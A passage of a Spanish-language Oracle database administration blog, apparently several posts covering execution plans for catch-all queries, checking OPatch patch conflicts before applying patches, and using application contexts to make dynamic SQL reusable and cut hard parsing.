|*  2 |   TABLE ACCESS FULL          | EMP     |     1 |    15 |     3   (0)|
|   3 |   TABLE ACCESS BY INDEX ROWID| DEPT    |     1 |    13 |     1   (0)|
|*  4 |    INDEX UNIQUE SCAN         | PK_DEPT |     1 |       |     0   (0)|
-----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   2 - filter(((:EMPNO IS NULL OR "E"."EMPNO"=:EMPNO) AND ("E"."MGR"=:MGR OR
              :MGR IS NULL)))
   4 - access("E"."DEPTNO"="D"."DEPTNO")

No importa qué variables proporcionemos, el plan de ejecución será el mismo: Oracle opta por realizar un Full Table Scan (FTS) de la tabla emp.

Variantes del Problema

Desde luego esta no es la única forma de codificar una sentencia estática que pretende ser dinámica, abundan las ideas ingeniosas y por tanto hay variantes pero, como es de prever, con los mismos pésimos resultados:

1. Variante usando NVL

SELECT e.empno, e.sal, d.dname
  FROM emp e JOIN dept d USING (deptno)
 WHERE e.empno = NVL(:empno,e.empno)
   AND e.mgr = NVL(:mgr,e.mgr);

2. Variante usando DECODE

SELECT e.empno, e.sal, d.dname
  FROM emp e JOIN dept d USING (deptno)
 WHERE e.empno = DECODE(:empno,NULL,e.empno,:empno)
   AND e.mgr = DECODE(:mgr,NULL,e.mgr,:mgr);

Ambas son interpretadas de forma similar por el Optimizador y producen el mismo plan de ejecución:

-------------------------------------------------------------------------------
| Id  | Operation                      | Name    | Rows  | Bytes | Cost (%CPU)|
-------------------------------------------------------------------------------
|   0 | SELECT STATEMENT               |         |       |       |     6 (100)|
|   1 |  CONCATENATION                 |         |       |       |            |
|*  2 |   FILTER                       |         |       |       |            |
|   3 |    NESTED LOOPS                |         |     2 |    56 |     4   (0)|
|*  4 |     TABLE ACCESS BY INDEX ROWID| EMP     |     2 |    30 |     2   (0)|
|*  5 |      INDEX FULL SCAN           | PK_EMP  |    14 |       |     1   (0)|
|   6 |     TABLE ACCESS BY INDEX ROWID| DEPT    |     1 |    13 |     1   (0)|
|*  7 |      INDEX UNIQUE SCAN         | PK_DEPT |     1 |       |     0   (0)|
|*  8 |   FILTER                       |         |       |       |            |
|   9 |    NESTED LOOPS                |         |     1 |    28 |     2   (0)|
|* 10 |     TABLE ACCESS BY INDEX ROWID| EMP     |     1 |    15 |     1   (0)|
|* 11 |      INDEX RANGE SCAN          | PK_EMP  |     1 |       |     0   (0)|
|  12 |     TABLE ACCESS BY INDEX ROWID| DEPT    |     4 |    52 |     1   (0)|
|* 13 |      INDEX UNIQUE SCAN         | PK_DEPT |     1 |       |     0   (0)|
-------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   2 - filter(:EMPNO IS NULL)
   4 - filter("E"."MGR"=NVL(:MGR,"E"."MGR"))
   5 - filter("E"."EMPNO" IS NOT NULL)
   7 - access("E"."DEPTNO"="D"."DEPTNO")
   8 - filter(:EMPNO IS NOT NULL)
  10 - filter("E"."MGR"=NVL(:MGR,"E"."MGR"))
  11 - access("E"."EMPNO"=:EMPNO)
  13 - access("E"."DEPTNO"="D"."DEPTNO")

Pero observemos que, sin llegar a ser óptimo, el plan está mejor pensado: el Optimizador crea un plan de ejecución condicional, dependiendo de si se proporciona o no un valor para :empno y que se nota por la presencia de FILTER en los pasos 2 y 8 :

1. Plan de ejecución si :empno es NULL

|   3 |    NESTED LOOPS                |         |     2 |    56 |     4   (0)|
|*  4 |     TABLE ACCESS BY INDEX ROWID| EMP     |     2 |    30 |     2   (0)|
|*  5 |      INDEX FULL SCAN           | PK_EMP  |    14 |       |     1   (0)|
|   6 |     TABLE ACCESS BY INDEX ROWID| DEPT    |     1 |    13 |     1   (0)|
|*  7 |      INDEX UNIQUE SCAN         | PK_DEPT |     1 |       |     0   (0)|

2. Plan de ejecución si :empno es NOT NULL

|   9 |    NESTED LOOPS                |         |     1 |    28 |     2   (0)|
|* 10 |     TABLE ACCESS BY INDEX ROWID| EMP     |     1 |    15 |     1   (0)|
|* 11 |      INDEX RANGE SCAN          | PK_EMP  |     1 |       |     0   (0)|
|  12 |     TABLE ACCESS BY INDEX ROWID| DEPT    |     4 |    52 |     1   (0)|
|* 13 |      INDEX UNIQUE SCAN         | PK_DEPT |     1 |       |     0   (0)|

¿Está mejor que el query original no?, pero al ignorar completamente lo que ocurre con :mgr el plan de ejecución es desastroso para escenarios en los que sí interviene.

La solución

Tratar de soportar todos los escenarios posibles con una sola sentencia ha probado ser una bomba de tiempo antes que una solución, si no sabemos qué variables serán proporcionadas pues entonces hagamos un query dinámico, tomará algo más de tiempo pero garantiza que al Optimizador le será más fácil encontrar el plan de ejecución ideal para el escenario que se le presente. Veamos parte del código modificado:

. . .
v_query := 'SELECT e.empno, e.sal, d.dname
            FROM emp e JOIN dept d USING (deptno)';
v_filtro := ' WHERE 1=1';
IF empno IS NOT NULL THEN
   v_filtro := v_filtro || ' AND e.empno = sys_context(''ctx'',''empno'')';
   dbms_session.set_context ('ctx','empno',empno);
END IF;
IF mgr IS NOT NULL THEN
   v_filtro := v_filtro || ' AND e.mgr = sys_context(''ctx'',''mgr'')';
   dbms_session.set_context ('ctx','mgr',mgr);
END IF;
. . .

Los planes de ejecución se ven mejor ahora:

1. Se proporciona solamente :empno

SELECT e.empno, e.sal, d.dname
  FROM emp e JOIN dept d USING (deptno)
 WHERE e.empno = :empno

-----------------------------------------------------------------------------
| Id  | Operation                    | Name    | Rows  | Bytes | Cost (%CPU)|
-----------------------------------------------------------------------------
|   0 | SELECT STATEMENT             |         |       |       |     2 (100)|
|   1 |  NESTED LOOPS                |         |     1 |    24 |     2   (0)|
|   2 |   TABLE ACCESS BY INDEX ROWID| EMP     |     1 |    11 |     1   (0)|
|*  3 |    INDEX RANGE SCAN          | PK_EMP  |     1 |       |     0   (0)|
|   4 |   TABLE ACCESS BY INDEX ROWID| DEPT    |     4 |    52 |     1   (0)|
|*  5 |    INDEX UNIQUE SCAN         | PK_DEPT |     1 |       |     0   (0)|
-----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   3 - access("E"."EMPNO"=:EMPNO)
   5 - access("E"."DEPTNO"="D"."DEPTNO")

2. Se proporciona solamente :mgr

SELECT e.empno, e.sal, d.dname
  FROM emp e JOIN dept d USING (deptno)
 WHERE mgr = :mgr

-----------------------------------------------------------------------------
| Id  | Operation                    | Name    | Rows  | Bytes | Cost (%CPU)|
-----------------------------------------------------------------------------
|   0 | SELECT STATEMENT             |         |       |       |     3 (100)|
|   1 |  NESTED LOOPS                |         |     1 |    28 |     3   (0)|
|   2 |   TABLE ACCESS BY INDEX ROWID| EMP     |     1 |    15 |     2   (0)|
|*  3 |    INDEX RANGE SCAN          | EMP_MGR |     1 |       |     1   (0)|
|   4 |   TABLE ACCESS BY INDEX ROWID| DEPT    |     1 |    13 |     1   (0)|
|*  5 |    INDEX UNIQUE SCAN         | PK_DEPT |     1 |       |     0   (0)|
-----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   3 - access("E"."MGR"=:MGR)
   5 - access("E"."DEPTNO"="D"."DEPTNO")

3. Se proporciona tanto :empno como :mgr

SELECT e.empno, e.sal, d.dname
  FROM emp e JOIN dept d USING (deptno)
 WHERE e.empno = :empno
  AND e.mgr = :mgr

-----------------------------------------------------------------------------
| Id  | Operation                    | Name    | Rows  | Bytes | Cost (%CPU)|
-----------------------------------------------------------------------------
|   0 | SELECT STATEMENT             |         |       |       |     2 (100)|
|   1 |  NESTED LOOPS                |         |     1 |    28 |     2   (0)|
|*  2 |   TABLE ACCESS BY INDEX ROWID| EMP     |     1 |    15 |     1   (0)|
|*  3 |    INDEX RANGE SCAN          | PK_EMP  |     1 |       |     0   (0)|
|   4 |   TABLE ACCESS BY INDEX ROWID| DEPT    |     4 |    52 |     1   (0)|
|*  5 |    INDEX UNIQUE SCAN         | PK_DEPT |     1 |       |     0   (0)|
-----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   2 - filter("E"."MGR"=:MGR)
   3 - access("E"."EMPNO"=:EMPNO)
   5 - access("E"."DEPTNO"="D"."DEPTNO")

4. No se proporciona :empno ni :mgr

SELECT e.empno, e.sal, d.dname
  FROM emp e JOIN dept d USING (deptno)

-----------------------------------------------------------------------------
| Id  | Operation                    | Name    | Rows  | Bytes | Cost (%CPU)|
-----------------------------------------------------------------------------
|   0 | SELECT STATEMENT             |         |       |       |     6 (100)|
|   1 |  MERGE JOIN                  |         |    14 |   336 |     6  (17)|
|   2 |   TABLE ACCESS BY INDEX ROWID| DEPT    |     4 |    52 |     2   (0)|
|   3 |    INDEX FULL SCAN           | PK_DEPT |     4 |       |     1   (0)|
|*  4 |   SORT JOIN                  |         |    14 |   154 |     4  (25)|
|   5 |    TABLE ACCESS FULL         | EMP     |    14 |   154 |     3   (0)|
-----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   4 - access("E"."DEPTNO"="D"."DEPTNO")
       filter("E"."DEPTNO"="D"."DEPTNO")

Para cada una de las combinaciones mostradas, el Optimizador ha estado en la capacidad de determinar un plan de ejecución eficiente.

Conclusiones

Quizás parte del razonamiento en este caso incluyó la consideración de que más vale tener una sentencia que varias y así evitar saturar el Shared Pool, pero en tanto Oracle permite sentencias SQL estáticas y dinámicas, debemos usar estas últimas cuando no sabemos con anticipación lo que el usuario final desea filtrar, no importa tanto que se generen múltiples sentencias. Los "artificios" permiten crear una sola sentencia pero aún cuando el Optimizador haga su mejor esfuerzo, los planes de ejecución obtenidos serán sub-óptimos para la mayor parte de los casos, por tanto es preferible invertir algo más de tiempo y codificar una sentencia dinámica que nos da la garantía de planes de ejecución eficientes para cada caso.

Posts Relacionados:

¿Vas a aplicar un patch?, verifica posibles conflictos

noreply@blogger.com (Enrique Orbegozo) — Sun, 11 Jan 2009 02:45:00 +0000

De cuando en cuando nos topamos con algún problema que afecta el normal desempeño de la base de datos, o quizás de alguna aplicación, y luego de investigar llegamos a la conclusión de que es inevitable aplicar uno o varios patches, pero habrán notado que en el README.txt que acompaña a todo patch se indica:

"You must have NO OTHER PATCHES installed on your Oracle Server since the latest patch set"

Esta advertencia hará dudar a algunos y habrá quienes harán caso omiso al mismo, siendo cuestión de suerte que todo salga bien, pero afortunadamente es posible determinar con anticipación si los patches por aplicar entran en conflicto entre ellos o con patches previamente aplicados, lo cual nos ahorrará muchos dolores de cabeza.

Patching "a lo macho"

Tenemos plena confianza en que todo saldrá bien y aplicamos el patch sin pensarlo mucho y cruzando los dedos, a veces se aplicará sin problemas, otras veces fallará, como en este caso en el que deseamos aplicar el patch 4459936 FGA doesn't work correctly with ansi outer joins in 10g.

[oracle@caliope 4459936]$ opatch apply
Invoking OPatch 10.2.0.4.5

Oracle Interim Patch Installer version 10.2.0.4.5
Copyright (c) 2008, Oracle Corporation.  All rights reserved.


Oracle Home       : /u01/app/oracle/product/10.2.0/db_1
Central Inventory : /u01/app/oracle/oraInventory
   from           : /etc/oraInst.loc
OPatch version    : 10.2.0.4.5
OUI version       : 10.2.0.4.0
OUI location      : /u01/app/oracle/product/10.2.0/db_1/oui
Log file location : /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch2008-12-31_01-11-38AM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch_history.txt

ApplySession applying interim patch '4459936' to OH '/u01/app/oracle/product/10.2.0/db_1'
Interim Patch 4459936 has Conflict with patch(es) [  6996030 ] in OH /u01/app/oracle/product/10.2.0/db_1

Conflict patches:   6996030

Patch(es)  6996030 conflict with the patch currently being installed (4459936).

If you continue, patch(es)  6996030 will be rolled back and the new patch (4459936) will be installed.

If a merge of the new patch (4459936) and the conflicting patch(es) ( 6996030) is required, contact Oracle Support Services and request a Merged patch.

Do you want to proceed? [y|n]

Pues ocurre que el nuevo patch entra en conflicto con el patch 6996030 Merge label request on top of 10.2.0.4 for audit trail clean-up y si deseamos aplicarlo entonces Oracle tendrá que desinstalar el ya existente, algo que usualmente no deseamos hacer, pero mientras tanto perdimos tiempo pues tuvimos que suspender el servicio y posiblemente trabajar en un horario fuera de lo normal.

Patching Planificado

Afortunadamente es posible evitar esta situación si previamente verificamos que no existan conflictos, algo que se puede lograr de forma muy sencilla con OPatch, pero antes de ver cómo, primero veamos qué patches ya tenemos instalados:

[oracle@caliope 5099019]$ opatch lsinventory
Invoking OPatch 10.2.0.4.5

Oracle Interim Patch Installer version 10.2.0.4.5
Copyright (c) 2008, Oracle Corporation.  All rights reserved.


Oracle Home       : /u01/app/oracle/product/10.2.0/db_1
Central Inventory : /u01/app/oracle/oraInventory
   from           : /etc/oraInst.loc
OPatch version    : 10.2.0.4.5
OUI version       : 10.2.0.4.0
OUI location      : /u01/app/oracle/product/10.2.0/db_1/oui
Log file location : /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch2008-12-31_01-45-36AM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch_history.txt

Lsinventory Output file location : /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/lsinv/lsinventory2008-12-31_01-45-36AM.txt

--------------------------------------------------------------------------------
Installed Top-level Products (3):

Oracle Database 10g                                                  10.2.0.1.0
Oracle Database 10g Products                                         10.2.0.1.0
Oracle Database 10g Release 2 Patch Set 3                            10.2.0.4.0
There are 3 products installed in this Oracle Home.


Interim patches (2) :

Patch  5099019      : applied on Wed Dec 31 01:42:18 PET 2008
   Created on 1 Dec 2008, 08:03:06 hrs PST8PDT
   Bugs fixed:
     5099019

Patch  6996030      : applied on Wed Sep 10 11:08:30 PET 2008
   Created on 21 Oct 2008, 06:57:58 hrs PST8PDT
   Bugs fixed:
     6964283, 6940487, 4740049, 6996030, 6954407, 6023472, 4085593, 6340297
     6655588, 6726958



--------------------------------------------------------------------------------

OPatch succeeded.

Tenemos un par de patches ya aplicados, el 5099019 dbms_stats doesn't count leaf_blocks correctly y el 6996030 Merge label request on top of 10.2.0.4 for audit trail clean-up, pero ahora queremos aplicar muchos más:

[oracle@caliope ~]$ ls /home/oracle/patches
4459936  5586604  6051177  6084232  6399168  6894671  6926448  7123643  7191744
7243560  5523375  5895190  6055481  6369463  6678845  6897966  7025450  7189722
7226463  7331929

Ahora veamos si entre ellos existe algún conflicto:

[oracle@caliope ~]$ opatch prereq CheckConflictAmongPatchesWithDetail -phBaseDir /home/oracle/patches
Invoking OPatch 10.2.0.4.5

Oracle Interim Patch Installer version 10.2.0.4.5
Copyright (c) 2008, Oracle Corporation.  All rights reserved.

PREREQ session

Oracle Home       : /u01/app/oracle/product/10.2.0/db_1
Central Inventory : /u01/app/oracle/oraInventory
   from           : /etc/oraInst.loc
OPatch version    : 10.2.0.4.5
OUI version       : 10.2.0.4.0
OUI location      : /u01/app/oracle/product/10.2.0/db_1/oui
Log file location : /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch2008-12-31_01-47-03AM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch_history.txt

Invoking prereq "checkconflictamongpatcheswithdetail"

Prereq "checkConflictAmongPatchesWithDetail" failed.

Summary of Conflict Analysis:

Patches that can be applied now without any conflicts are :
4459936, 5523375, 5586604, 5895190, 6051177, 6055481, 6084232, 6369463, 6399168, 6678845, 6894671, 6897966, 6926448, 7123643, 7189722, 7226463, 7243560, 7331929

Following patches have conflicts. Please contact Oracle Support and get the merged patch of the patches :
7025450, 7191744

Conflicts/Supersets for each patch are:

Patch : 7025450

        Generic Conflict with 7191744
        Conflict details:
        /u01/app/oracle/product/10.2.0/db_1/lib/libserver10.a:/kks1.o

Patch : 7191744

        Generic Conflict with 7025450
        Conflict details:
        /u01/app/oracle/product/10.2.0/db_1/lib/libserver10.a:/kks1.o

OPatch succeeded.

OPatch nos notifica que existe un conflicto entre los patches 7025450 dbms_shared_pool.keep doesn't keep future child cursors y 7191744 update in wrong schema, pero ¿existirán conflictos adicionales con los patches ya instalados? pues averigüémoslo:

[oracle@caliope ~]$ opatch prereq CheckConflictAgainstOHWithDetail -phBaseDir /home/oracle/patches/
Invoking OPatch 10.2.0.4.5

Oracle Interim Patch Installer version 10.2.0.4.5
Copyright (c) 2008, Oracle Corporation.  All rights reserved.

PREREQ session

Oracle Home       : /u01/app/oracle/product/10.2.0/db_1
Central Inventory : /u01/app/oracle/oraInventory
   from           : /etc/oraInst.loc
OPatch version    : 10.2.0.4.5
OUI version       : 10.2.0.4.0
OUI location      : /u01/app/oracle/product/10.2.0/db_1/oui
Log file location : /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch2008-12-31_01-47-28AM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch_history.txt

Invoking prereq "checkconflictagainstohwithdetail"

Prereq "checkConflictAgainstOHWithDetail" failed.

Summary of Conflict Analysis:

Patches that can be applied now without any conflicts are :
5523375, 5586604, 5895190, 6051177, 6055481, 6084232, 6369463, 6678845, 6894671, 6897966, 6926448, 7123643, 7189722, 7226463, 7243560, 7331929

Following patches have conflicts. Please contact Oracle Support and get the merged patch of the patches :
6996030, 4459936, 5099019, 6399168, 7025450, 7191744

Following patches will be rolled back from Oracle Home on application of the patches in the given list :
6996030, 5099019

Conflicts/Supersets for each patch are:

Patch : 4459936

        Generic Conflict with 6996030
        Conflict details:
        /u01/app/oracle/product/10.2.0/db_1/lib/libserver10.a:/kzft.o

Patch : 6399168

        Generic Conflict with 5099019
        Conflict details:
        /u01/app/oracle/product/10.2.0/db_1/rdbms/admin/prvtstat.plb

Patch : 7025450

        Generic Conflict with 7191744
        Conflict details:
        /u01/app/oracle/product/10.2.0/db_1/lib/libserver10.a:/kks1.o

Patch : 7191744

        Generic Conflict with 7025450
        Conflict details:
        /u01/app/oracle/product/10.2.0/db_1/lib/libserver10.a:/kks1.o

OPatch succeeded.

Pues desafortunadamente hay conflictos adicionales, esta vez entre el patch 4459936 FGA doesn't work correctly with ansi outer joins in 10g y el 6996030 Merge label request on top of 10.2.0.4 for audit trail clean-up, algo que ya habíamos visto, y también entre el patch 6399168 gather statistics on table with bitmap indexes runs forever y el 5099019 dbms_stats doesn't count leaf_blocks correctly.

Con esta información ya podemos continuar con la aplicación de los patches que no presentarán conflictos y para los casos en que sí, debemos abrir un Service Request en My Oracle Support, solicitando se nos proporcione un merged patch tal como OPatch nos ha sugerido:

"Following patches have conflicts. Please contact Oracle Support and get the merged patch of the patches :
6996030, 4459936, 5099019, 6399168, 7025450, 7191744"

Recomendaciones Finales

Procura tener la última versión de OPatch, misma que puedes obtener buscando el Patch 6880880, instalarlo es muy fácil solo tienes que descomprimirlo en $ORACLE_HOME/OPatch. Luego que lo tengas instalado procede a obtener todos los patches que te interesa aplicar y descomprímelos bajo una misma carpeta, ahora usa OPatch para verificar la presencia de conflictos entre ellos y los ya aplicados. De existir algún conflicto solicita a Oracle que te proporcione un merged patch. Finalmente, te recomiendo leer los Notes 458485.1 How to find whether the one-off Patches will conflict or not? y 551394.1 What Are The MANDATORY Information Required To File A Merge Patch Request?.

Posts Relacionados:

¿Query dinámico?, pero sin perder de vista el contexto

noreply@blogger.com (Enrique Orbegozo) — Sun, 04 Jan 2009 06:00:00 +0000

Es relativamente frecuente que tengamos que recurrir a SQL dinámico cuando no sabemos en tiempo de compilación el texto completo de la sentencia. Si bien en los tiempos de Oracle 7 la única forma de lograrlo era usando dbms_sql, en la actualidad la forma preferida de procesar SQL dinámico es con execute immediate, el problema radica en que no se hace buen uso de él y se termina generando código no reutilizable y esto lleva a elevadas tasas de hard parsing con el consiguiente deterioro del desempeño. Como en el ejercicio de mi labor como Consultor veo que este es un problema bastante recurrente, les mostraré a continuación una forma sencilla de corregirlo.

El Problema

OK, para situarnos en el problema veamos el siguiente código:

create or replace
function emp_query (
deptno dept.deptno%type default null,
low_hiredate emp.hiredate%type default null )
return sys_refcursor
is
  c_query sys_refcursor;
  v_query varchar2(8000);
begin
  v_query := 'select empno, ename, hiredate
                from emp
               where 1 = 1';
  if deptno is not null then
     v_query := v_query || ' and deptno = '||deptno;
  end if;
  if low_hiredate is not null then
     v_query := v_query || ' and hiredate >= '''||low_hiredate||'''';
  end if;

  open c_query for v_query;

  return ( c_query );
end;

¿Qué problema le encuentran? Observen como se concatenan los valores de los parámetros al momento de armar la sentencia, noten que hay que tener cuidado con el tipo de dato, así si se trata de varchar2 o date habrá que agregar los respectivos "'" alrededor del valor. Esta forma de programar garantiza un 100% de hard parse cada vez que llamemos a esta rutina! sino veamos que ocurre luego de unas cuantas llamadas:

SCOTT@orcl> variable x refcursor;

SCOTT@orcl> execute :x := emp_query(deptno=>10,low_hiredate=>'01/01/1982');

PL/SQL procedure successfully completed.

SCOTT@orcl> print x

     EMPNO ENAME                          HIREDATE
---------- ------------------------------ -------------------
      7934 MILLER                         23/01/1982 00:00:00

SCOTT@orcl> execute :x := emp_query(deptno=>20,low_hiredate=>'01/01/1981')

PL/SQL procedure successfully completed.

SCOTT@orcl> print x

     EMPNO ENAME                          HIREDATE
---------- ------------------------------ -------------------
      7566 JONES                          02/04/1981 00:00:00
      7788 SCOTT                          09/12/1982 00:00:00
      7876 ADAMS                          12/01/1983 00:00:00
      7902 FORD                           03/12/1981 00:00:00

SYS@orcl> select sql_text, executions from v$sql
  2  where parsing_schema_name = 'SCOTT';

SQL_TEXT                                 EXECUTIONS
---------------------------------------- ----------
select empno, ename, hiredate                     1
from emp where 1 = 1 and deptno = 10 
and hiredate >= '01/01/1982 00:00:00'

select empno, ename, hiredate                     1
from emp where 1 = 1 and deptno = 20
and hiredate >= '01/01/1981 00:00:00'

Lo que esperábamos, cada llamada genera una sentencia totalmente independiente.

El argumento que siempre me dan los desarrolladores es que execute immediate exige una lista fija de parámetros y no dejan de tener razón pues la sintaxis tendría que ser algo así:

execute immediate
   'select empno, ename, hiredate
      from emp
     where deptno = :deptno
       and hiredate > :hiredate’
using deptno, low_hiredate;

Pero no se puede garantizar que se proporcionen ambos parámetros, tal como está conceptualizada la rutina se permite que en algunos casos se puede pasar uno de los parámetros, ambos o incluso ninguno. ¿Estamos entonces atrapados sin salida? Pues no, tenemos una alternativa: application contexts.

La Solución

Si bien application contexts aparece para soportar VPD (Virtual Private Database) su uso puede ampliarse a otros casos, como el que estamos analizando en este momento. Con application contexts podemos especificar atributos y asignarles valores, estos residen en el UGA (User Global Area) durante la vida de la sesión, son de caracter privado por tanto cada sesión tiene sus propios atributos y valores y no pueden leer los de otras sesiones.

Comprenderemos mejor cómo funcionan los application contexts mediante la resolución de nuestro problema con su uso, para ello primero debemos crear el context, indicando que solamente puede ser manipulado desde nuestro stored procedure scott.emp_query.

SYS@orcl> create context emp_query_ctx using scott.emp_query;

Context created.

Observen que el context, si bien fue creado por SYS, en realidad no tiene un dueño y no se requieren tampoco de permisos para que pueda ser usado.

Veamos la versión modificada de scott.emp_query, usando application contexts:

create or replace
function emp_query (
deptno dept.deptno%type default null,
low_hiredate emp.hiredate%type default null )
return sys_refcursor
is
  c_query sys_refcursor;
  v_query varchar2(8000);
begin
  v_query := 'select empno, ename, hiredate
                from emp
               where 1 = 1';
  if deptno is not null then
     v_query := v_query || 
        ' and deptno = sys_context(''emp_query_ctx'',''deptno'')';
     dbms_session.set_context('emp_query_ctx','deptno',deptno);
  end if;
  if low_hiredate is not null then
     v_query := v_query || 
        ' and hiredate >= sys_context(''emp_query_ctx'',''hiredate'')';
     dbms_session.set_context('emp_query_ctx','hiredate',low_hiredate);
  end if;
  open c_query for v_query;

  return ( c_query );
end;

Lo que se está haciendo es crear atributos (deptno y hiredate) dentro del context emp_query_ctx y de paso asignándole valores (los contenidos de los parámetros deptno y low_hiredate), esto se logra mediante llamadas a dbms_session.set_context, mientras que para leer los valores asignados se emplea sys_context. La creación de atributos y la asignación de valores solo se puede hacer, por definición, desde scott.emp_query, lo cual añade un nivel de seguridad al garantizar que no se pueden crear atributos ni modificar sus valores de forma arbitraria.

SCOTT@orcl> execute dbms_session.set_context('emp_query_ctx','deptno',10)
BEGIN dbms_session.set_context('emp_query_ctx','deptno',10); END;

*
ERROR at line 1:
ORA-01031: insufficient privileges
ORA-06512: at "SYS.DBMS_SESSION", line 90
ORA-06512: at line 1

Veamos ahora el desempeño de nuestra rutina modificada:

SCOTT@orcl> execute :x := emp_query(deptno=>10,low_hiredate=>'01/01/1981')

PL/SQL procedure successfully completed.

SCOTT@orcl> print x

     EMPNO ENAME                          HIREDATE
---------- ------------------------------ -------------------
      7782 CLARK                          09/06/1981 00:00:00
      7839 KING                           17/11/1981 00:00:00
      7934 MILLER                         23/01/1982 00:00:00

SCOTT@orcl> execute :x := emp_query(deptno=>20,low_hiredate=>'01/01/1982')

PL/SQL procedure successfully completed.

SCOTT@orcl> print x

     EMPNO ENAME                          HIREDATE
---------- ------------------------------ -------------------
      7788 SCOTT                          09/12/1982 00:00:00
      7876 ADAMS                          12/01/1983 00:00:00

SYS@orcl> select sql_text, executions from v$sql
  2  where parsing_schema_name = 'SCOTT';

SQL_TEXT                                                  EXECUTIONS
--------------------------------------------------------  ----------
select empno, ename, hiredate                                      2
from emp where 1 = 1
and deptno = sys_context('emp_query_ctx','deptno')
and hiredate >= sys_context('emp_query_ctx','hiredate')

¡Ahora sí! Tenemos código perfectamente reutilizable, sayonara hard parsing!!!.

Recomendaciones Finales

Para los que vienen siguiendo mi Blog, ya habrán intuido que para mí el hard parsing es algo así como el demonio y una de las labores de los DBAs es la de exorcizar periódicamente la base de datos, pero créanme no estoy exagerando. Uno de mis clientes tenía un serio problema: su flamante computador con 10 procesadores duales de última tecnología bordeaba el 100% de uso de CPU, y el diagnóstico era: alta tasa de hard parsing. Resulta que nuestros entrañables amigos desarrolladores se las habían ingeniado para llenar la base de datos con sql dinámico no reutilizable, el problema no se nota si tenemos unos pocos usuarios con actividad esporádica, pero cuando tienes miles de usuarios interactuando en simultáneo el problema es evidente y los resultados son catastróficos. Si no lo han hecho ya, pueden leer el Post relacionado que mencionan el problema y señalan algunos paliativos, pero no se engañen: la solución más barata y segura siempre será codificar las aplicaciones de forma eficiente.

Post Relacionados:

Cursor sharing, histograms y bind peeking, lo que deberías saber para evitar sorpresas.